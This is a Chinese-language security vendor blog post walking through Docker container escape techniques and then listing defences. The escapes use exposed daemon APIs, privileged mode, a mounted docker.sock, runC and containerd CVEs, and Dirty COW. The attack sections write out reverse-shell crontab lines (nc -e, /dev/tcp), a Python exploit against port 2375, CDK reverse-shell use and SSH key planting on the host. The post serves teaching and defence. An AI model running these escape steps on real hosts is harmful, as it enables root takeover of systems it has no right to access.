【容器安全防線】Docker攻擊方式與防範技術探究

青藤雲安全發表於2023-04-07


什麼是Docker?

Docker 是一個開源的應用容器引擎,讓開發者可以打包他們的應用以及依賴包到一個可移植的映象中,然後釋出到任何流行的Linux或Windows作業系統的機器上,也可以實現虛擬化。容器是完全使用沙箱機制,相互之間不會有任何介面。

一個完整的Docker有以下幾個部分組成:

1、DockerClient客戶端

2、Docker Daemon守護程式

3、Docker Image映象

4、DockerContainer容器

Docker架構

Docker 使用客戶端-伺服器 (C/S) 架構模式,使用遠端API來管理和建立Docker容器。Docker 容器透過 Docker 映象來建立。容器與映象的關係類似於物件導向程式設計中的物件與類。

Docker採用 C/S架構 Docker daemon 作為服務端接受來自客戶的請求,並處理這些請求(建立、執行、分發容器)。 客戶端和服務端既可以執行在一個機器上,也可透過 socket 或者RESTful API 來進行通訊。

Docker daemon 一般在宿主主機後臺執行,等待接收來自客戶端的訊息。 Docker 客戶端則為使用者提供一系列可執行命令,使用者用這些命令實現跟 Docker daemon 互動。

Docker常見命令

列出映象列表

docker images

列出容器列表

docker ps -a

停止和刪除容器

docker stop/rm [CONTAINER ID]

刪除映象

docker rmi [IMAGE ID]

PS:刪除映象時,需要先停止執行的容器

查詢映象

docker search [NAME]

獲取映象

docker pull [NAME]

互動式方法啟動映象

docker run -it [REPOSITORY] /bin/bash

訪問容器

docker exec -it [CONTAINER ID] /bin/bash

退出容器

exit/ctrl+p+q

如何判斷當前機器是否為Docker容器環境

程式數很少

常見的一些命令無法使用

檢視根目錄下是否存在

.dockerenv檔案

docker環境下:ls -alh /.dockerenv

非docker環境,沒有.dockerenv檔案

利用

cat /proc/1/cgroup 是否存在docker相關資訊

透過

mount檢視掛載磁碟是否存在docker相關資訊

Docker攻擊手法

Docker危險配置引起的逃逸

安全往往在痛定思痛時得到發展。在這些年的迭代中,容器社群一直在努力將"縱深防禦"、"最小許可權"等理念和原則落地。例如,Docker已經將容器執行時的Capabilities黑名單機制改為如今的預設禁止所有Capabilities,再以白名單方式賦予容器執行所需的最小許可權。 然而,無論是細粒度許可權控制還是其他安全機制,使用者都可以透過修改容器環境配置或在執行容器時指定引數來縮小或擴大約束。如果使用者為不完全受控的容器提供了某些危險的配置引數,就為攻擊者提供了一定程度的逃逸可能性,有的時候使用者才是安全最大的隱患。

docker daemon api 未授權訪問漏洞

Vulhub提供了docker daemon api 未授權訪問漏洞的漏洞環境

github.com/vulhub/vulhu

編譯及啟動漏洞環境:

docker-compose build

docker-compose up -d

環境啟動後,docker daemon api的埠為2375埠

利用方法是,我們隨意啟動一個容器,並將宿主機的/etc目錄掛載到容器中,便可以任意讀寫檔案了。我們可以將命令寫入crontab配置檔案,進行反彈shell。

反彈shell的exp:

import docker

client = docker.DockerClient(base_url=' your-ip : 2375/')

data = client.containers.run('alpine:latest', r'''sh - c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

也可直接利用github上的exp進行攻擊

github.com/Tycx2ry/dock

修復方案

1.關閉2375埠(尤其是公網情況下一定要禁用此埠)

2.在防火牆上配置禁止外網訪問2375埠

privileged特權模式啟動docker

啟動Docker容器。使用--privileged引數時,容器可以完全訪問所有裝置,並且不受seccomp,AppArmor和Linux capabilities的限制。

利用特權模式啟動一個docker容器

docker run -it --privileged centos /bin/bash

檢視當前容器是否是特權容器

cat /proc/1/status | grep Cap

如果查詢的值是0000000xffffffff,可以說明當前容器是特權容器。

檢視磁碟檔案,發現宿主機裝置為/dev/sda1

fdisk -l

在特權模式下,直接在容器內掛載宿主機磁碟,接著切換根目錄。

新建一個目錄: mkdir /mb

掛載宿主機磁碟到新建的目錄: mount /dev/sda2 /mb

切換根目錄: chroot /mb

chroot是change root,改變程式執行時所參考的根目錄位置,chroot可以增加系統的安全性,限制使用者能夠做的事。

建立計劃任務,反彈宿主機Shell

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.58.138/6666 0>&1' >> /mb/var/spool/cron/crontabs/root

掛載宿主機的root目錄到容器,寫入SSH私鑰登入

docker run -it -v /root:/root centos /bin/bash

mkdir /root/.ssh

cat id_rsa.pub >> /root/.ssh/authorized_keys

相關啟動引數存在的安全問題:

Docker 透過Linux namespace實現6項資源隔離,包括主機名、使用者許可權、檔案系統、網路、程式號、程式間通訊。但部分啟動引數授予容器許可權較大的許可權,從而打破了資源隔離的界限。

--cap-add=SYS_ADMIN 啟動時,允許執行mount特權操作,需獲得資源掛載進行利用。

--net=host 啟動時,繞過Network Namespace

--pid=host 啟動時,繞過PID Namespace

--ipc=host 啟動時,繞過IPC Namespace

危險掛載docker.sock到容器內部

在docker容器中呼叫和執行宿主機的docker,將docker宿主機的docker檔案和docker.sock檔案掛載到容器中,可以理解為套娃。

docker run --rm -it \

-v /var/run/docker.sock:/var/run/docker.sock \

-v /usr/bin/docker:/usr/bin/docker \

ubuntu \

/bin/bash

透過find在容器中查詢docker.sock

find / -name docker.sock

檢視宿主機docker資訊

docker -H unix://var/run/docker.sock info

執行一個新的容器並掛載宿主機根路徑

docker -H unix:///var/run/docker.sock run -it -v /:/mb ubuntu /bin/bash

在新容器的/mb 目錄下,就可以訪問到宿主機的全部資源

ls -al /mb

在新容器內執行chroot將根目錄切換到掛載的宿主機根目錄

chroot /mb

成功逃逸到宿主機。

Docker程式漏洞導致的逃逸

Shocker攻擊

漏洞描述

從Docker容器逃逸並讀取到主機某個目錄的檔案內容。Shocker攻擊的關鍵是執行了系統呼叫open_by_handle_at函式,Linux手冊中特別提到呼叫open_by_handle_at函式需要具備CAP_DAC_READ_SEARCH能力,而Docker1.0版本對Capability使用黑名單策略,並且沒有限制CAP_DAC_READ_SEARCH能力,因而引發了容器逃逸的風險。

漏洞影響版本

Docker版本 1.0, 存在於 Docker 1.0 之前的絕大多數版本(目前基本上不會存在了)

POC

github.com/gabrtv/shock

runC容器逃逸漏洞(CVE-2019-5736)

漏洞描述

Docker 18.09.2之前的版本中使用了的runc版本小於1.0-rc6,因此允許攻擊者重寫宿主機上的runc 二進位制檔案,攻擊者可以在宿主機上以root身份執行命令。

漏洞影響版本

Docker版本 18.09.2,runc版本 1.0-rc6,一般情況下,可透過 docker 和docker -version檢視當前版本情況。

POC

github.com/Frichetten/C

攻擊流程

1、漏洞環境搭建(Ubuntu 18.04)

自動化搭建

curl  gist.githubusercontent.com  -o install.sh && bash install.sh

docker拉取映象慢的話可以自行百度換源

2、下載poc並修改編譯

git clone  github.com/Frichetten/C

修改paylod

vi main.go

payload = "#!/bin/bash \n bash -i >& /dev/tcp/ip/port 0>&1"

編譯poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

需要提前安裝golang-go和gccgo-go

3、複製編譯好的poc到docker裡

docker cp main 52fd26fd140f:/tmp

4、在docker裡執行main檔案

5、模擬管理員透過exec進入容器,觸發payload

sudo docker exec -it 52fd26fd140f /bin/bash

6、成功獲取宿主機反彈回來的shell

漏洞復現成功之後,docker容器將無法使用

Docker cp命令容器逃逸攻擊漏洞(CVE-2019-14271)

漏洞描述

當Docker宿主機使用cp命令時,會呼叫輔助程式docker-tar,該程式沒有被容器化,且會在執行時動態載入一些libnss*.so庫。駭客可以透過在容器中替換libnss*.so等庫,將程式碼注入到docker-tar中。當Docker使用者嘗試從容器中複製檔案時將會執行惡意程式碼,成功實現Docker逃逸,獲得宿主機root許可權。

漏洞影響版本

Docker 19.03.0

攻擊流程

unit42.paloaltonetworks.com

Docker Build時的命令注入漏洞(CVE-2019-13139)

漏洞描述

攻擊者能夠提供或操縱“docker build”命令的構建路徑將能夠獲得命令執行。 “docker build”處理遠端 git URL 的方式存在問題,並導致命令注入到底層“git clone”命令中,導致程式碼在使用者執行“docker build”命令的上下文中執行。

漏洞影響版本

Docker 18.09.4之前的版本

攻擊流程

staaldraad.github.io/po

host模式容器逃逸漏洞(CVE-2020-15257)

漏洞描述

Containerd 是一個控制 runC 的守護程式,提供命令列客戶端和API,用於在一個機器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由於在網路模式為host的情況下,容器與宿主機共享一套Network namespace ,此時containerd-shim API暴露給了使用者,而且訪問控制僅僅驗證了連線程式的有效UID為0,但沒有限制對抽象Unix域套接字的訪問,剛好在預設情況下,容器內部的程式是以root使用者啟動的。在兩者的共同作用下,容器內部的程式就可以像主機中的containerd一樣,連線containerd-shim監聽的抽象Unix域套接字,呼叫containerd-shim提供的各種API,從而實現容器逃逸。

漏洞影響版本

containerd < 1.4.3

containerd < 1.3.9

攻擊流程

1、漏洞環境搭建

使用ubuntu 18.04 + metarget進行搭建(使用非18.04的ubuntu映象會出現錯誤)

git clone  github.com/brant-ruan/m

pip3 insta ll -r requirements.txt

./metarget  cnv install cve-2020-15257

2、啟動容器

sudo docker run -it --net=host --name=15257 ubuntu /bin/bash

在容器內執行命令cat /proc/net/unix|grep -a "containerd-shim",來判斷是否可看到抽象名稱空間Unix域套接字

3、反彈宿主機的shell

攻擊機監聽6666埠,下載漏洞利用工具 CDK,將CDK傳入容器tmp目錄下

sudo docker cp cdk_linux_amd64 15257:/tmp

賦予工具許可權,執行工具,執行反彈shell命令,成功得到一個宿主機的shell

cd /tmp

chmod 777

./cdk_linux_amd64 run shim-pwn reverse attacker-ip port

核心漏洞導致Docker逃逸

DirtyCow髒牛漏洞實現Docker逃逸(CVE-2016-5195)

漏洞描述

Dirty Cow(CVE-2016-5195)是Linux核心中的許可權提升漏洞,透過它可實現Docker容器逃逸,獲得root許可權的shell。

Docker與宿主機共享核心,所以容器需要在存在dirtyCow漏洞的宿主機裡

攻擊流程

1、下載容器並執行

git clone  github.com/gebl/dirtyco

cd dirtyco w-docker-vdso/

sudo docke r-compose run dirtycow /bin/bash

2、進入容器編譯POC並執行

cd /dirtycow-vdso/

make

./0xdeadbeef ip:port

3、攻擊機監聽埠接受宿主機反彈的shell

nc -lvvp port

Docker容器的防護方案

限制容器許可權:在執行容器時,可以使用命令列選項或Dockerfile指令來限制容器的訪問許可權,例如使用 --cap-drop選項禁止容器獲得特權模式。這可以減少攻擊面。

定期更新容器軟體包:及時更新容器中的軟體包、庫和依賴項,可以修復已知漏洞並提高安全性。

配置容器網路:透過配置容器網路來控制容器之間的通訊,並限制對外部系統的訪問,以保護容器免受網路攻擊。

加強認證和授權:設定強密碼、使用多因素身份驗證、限制特定使用者的訪問許可權等方法,可以增強容器的認證和授權機制,從而限制未經授權的訪問。

監視容器健康狀態:實時監視容器的健康狀態,對異常事件進行快速診斷和響應,可以避免未知漏洞或攻擊導致的容器故障。

應用安全 實踐:遵循安全優質 實踐,如使用最小化映象、啟用安全審計、使用容器映像簽名等方法,可以進一步提高容器的安全性。

參考文獻

cloud.tencent.com/devel

cnblogs.com/xiaozi/p/13

xz.aliyun.com/t/8558

xz.aliyun.com/t/7881

cdxy.me/?

cnblogs.com/xiaozi/p/13

gitee.com/wangwenqin1/m

shangyun51.com/articled


重點活動推薦

2023年4月18日,青藤將舉辦“雲時代,安全變了——2023雲安全高峰論壇暨青藤品牌升級釋出會”,會上青藤將正式釋出:

(1)“青藤品牌新定位及Slogan”

(2)“青藤-先進雲安全整體解決方案”及“新產品”

(3)國內先進“基於AI新一代入侵檢測能力模型”

(4)國內 《雲安全能力成熟度全景圖》報告

                                                                                     參會報名通道


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69941982/viewspace-2944483/,如需轉載,請註明出處,否則將追究法律責任。

相關文章